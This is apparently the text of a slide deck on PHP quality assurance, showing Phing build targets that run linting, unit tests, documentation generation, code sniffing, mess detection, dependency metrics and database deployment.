  • 190. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
  • 191. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>
  • 192. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build </project>
  • 193. build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle # AB Testing properties abrequests=1000 abconcurrency=10
  • 196. Artifacts • some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run
  • 197. Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
  • 198. phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>
  • 199. PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
  • 200. PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
  • 201. Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
  • 202. PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
  • 203. PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
  • 204. PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
  • 205. Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
  • 206. Other things to automate • server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync • execute remote commands with SSH • … so much more
  • 207. Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
  • 210.
  • 211. Online service Auto hook GitHub Direct PHPUnit testing Free for OSS projects Self hosted Connects to SCM Unit tests Dependency Metrics Documentation Violation Report Mess Detection Free OSS
  • 212.
  • 213.
  • 214.
  • 215.
  • 216.
  • 217.
  • 218.
  • 219.
  • 220. Now you are a winner!
  • 222.
  • 223.
  • 224.
  • 225.
  • 226.
  • 227.
  • 229. Get your information in a consistent, automated way and make it accessible for the team More people can better safeguard the code!
  • 231. Recommended  reading • OOD  Quality  Metrics -­‐ Robert  Cecil  MarFn Free h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf
  • 233. https://joind.in/9041 If you liked it, thank you! If not, tell me how to improve this talk
  • 234. Michelangelo van Dam Zend Certified Engineer michelangelo@in2it.be PHP Consulting - QA audits - Training www.in2it.be
  • 235. Credits I’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 coffee: http://www.flickr.com/photos/nalundgaard/3167849171 chris hartjes: http://www.flickr.com/photos/akrabat/8421560178 mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpg everybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515